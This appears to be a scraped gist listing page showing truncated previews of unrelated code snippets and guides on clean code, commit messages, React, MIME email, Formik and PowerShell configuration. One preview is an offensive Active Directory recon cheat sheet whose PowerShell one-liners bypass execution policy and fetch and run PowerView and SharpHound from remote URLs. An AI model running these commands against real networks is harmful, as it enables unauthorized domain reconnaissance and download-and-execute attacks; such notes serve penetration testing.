Discover gists

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.

General rules

Follow standard conventions.
Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
Boy scout rule. Leave the campground cleaner than you found it.
Always find root cause. Always look for the root cause of a problem.

Design rules

Semantic Commit Messages

See how a minor change to your commit message style can make you a better programmer.

Format: <type>(<scope>): <subject>

<scope> is optional

Example

Setup face recognition authentication on ArchLinux and KDE Plasma using howdy

This is surprisingly easy...basically following Arch Wiki:

https://wiki.archlinux.org/index.php/Howdy

After some investigation, here is step by step and preferences

Install `howdy`

Fundamentals of React

React Fundamental	Summary
React	A JS library for building dynamic UIs using components.
JSX	A syntax extension to JS that looks like HTML and makes defining UIs more intuitive vs. pure JS. JSX emits text in the page when a JS expression is surrounded with curly braces `<div>{/* JS Expression */}</div>`. JSX transpiles into a function call that returns a JS object, thus, JSX can be assigned to variables, passed as arguments to functions, etc. JSX can render an array of components, however, each component needs a `key` prop with a unique value. `const catList = cats.map(c => <div key={cat.id}>{cat.name}</div>);`.
Components	A user interface is defined by a hierarchy of components.
User-Defined Component	May be defined as a function or class but must be n

Multipart MIME Email Guide

This is a guide on how to send a properly formatted multipart email. Multipart email strings are MIME encoded, raw text email templates. This method of structuring an email allows for multiple versions of the same email to support different email clients.

// Example Multipart Email:
From: sender@example.com
To: recipient@example.com
Subject: Multipart Email Example
Content-Type: multipart/alternative; boundary="boundary-string"

	import { useCallback, useEffect, useRef } from 'react';
	import { debounce } from 'lodash';
	import { FormikValues } from 'formik';
	import { FormikConfig } from 'formik/dist/types';

	export function useDebouncedValidate<T extends FormikValues>({
	values,
	validate,
	debounceTime = 200,
	}: {

	param(
	[switch]$verbose
	)

	# The variables starting with $GLOBAL store values that should be applied to all XHCI controllers by default.
	# To override this default value on a per-controller basis, specify the DEV_XXXX hardware ID value for the XHCI controller along with its data
	# See the example below.
	#
	# $globalInterval = 0x0
	# $globalHCSPARAMSOffset = 0x4

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"

	wchar_t convertCharArrayToLPCWSTR(const char charArray)
	{
	wchar_t* wString=new wchar_t[4096];
	MultiByteToWideChar(CP_ACP, 0, charArray, -1, wString, 4096);
	return wString;
	}

	{
	"objects": [
	{
	"operation": "Insert",
	"externalId": "Id",
	"mockFields": [],
	"updateWithMockData": false,
	"mockCSVData": false,
	"deleteOldData": true,
	"allRecords": true,